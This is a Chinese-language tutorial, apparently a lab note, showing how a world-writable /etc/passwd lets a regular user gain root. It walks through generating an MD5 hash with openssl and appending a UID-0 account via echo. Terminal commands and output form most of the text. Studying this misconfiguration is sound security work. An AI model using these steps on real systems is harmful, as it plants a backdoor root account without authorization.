Linux passwd 文件提权
对于一个正常的 /etc/passwd 文件来说,他的权限如下所示:
┌──(root㉿kali)-[~]
└─# ls -l /etc/passwd
-rw-r--r-- 1 root root 3163 Aug 21 14:59 /etc/passwd
根据所学权限可以看出,/etc/passwd 默认是主要 root 用户可读可写,root 组与其他组可读。
但是,假设运维人员突然抽了一下,将权限改为任意用户可读可写时,就会产生隐患:
┌──(root㉿kali)-[~]
└─# chmod o+w /etc/passwd
┌──(root㉿kali)-[~]
└─# ls -l /etc/passwd
-rw-r--rw- 1 root root 3163 Aug 21 14:59 /etc/passwd
┌──(root㉿kali)-[~]
└─# su kali
┌──(kali㉿kali)-[/root]
└─$ head -n 2 /etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
这时我们需要做的就是:尝试伪造一个用户,在密码占位符处指定密码,并且 UID 设置为 0,将其添加到 /etc/passwd 文件中。
其中 x 位置表示的是该用户的密码,密码可以采用多种形式~~(但肯定不能是明文)~~,但是由于 Kali 来说这里使用的是 md5 加密。
这里使用 openssl 工具生成加密的密码:
# 使用基于 MD5 的密码算法计算和加盐指定密码的哈希值,这里盐为 123456,后续需要填写密码,这里密码为 123
openssl passwd -1 -salt 123456
┌──(kali㉿kali)-[/root]
└─$ openssl passwd -1 -salt 123456
Password:
$1$123456$wWKtx7yY/RnLiPN.KaX.z.
编写一个具有管理员权限的字符串:
yongz:$1$123456$wWKtx7yY/RnLiPN.KaX.z.:0:0:root:/root:/usr/bin/zsh
┌──(kali㉿kali)-[/root]
└─$ echo 'yongz:$1$123456$wWKtx7yY/RnLiPN.KaX.z.:0:0:root:/root:/usr/bin/zsh' >> /etc/passwd
┌──(kali㉿kali)-[/root]
└─$ tail -n 1 /etc/passwd
yongz:$1$123456$wWKtx7yY/RnLiPN.KaX.z.:0:0:root:/root:/usr/bin/zsh
切换一下用户,查看是否成功:
┌──(kali㉿kali)-[/root]
└─$ su yongz
Password:
┌──(root㉿kali)-[~]
└─#
注:可能有同学非常疑惑,为什么 su yongz 切换到的却是 root,这是因为在最上方已经有一个 UID=0 的 root 用户了,所以系统优先识别到第一个 UID=0 的用户。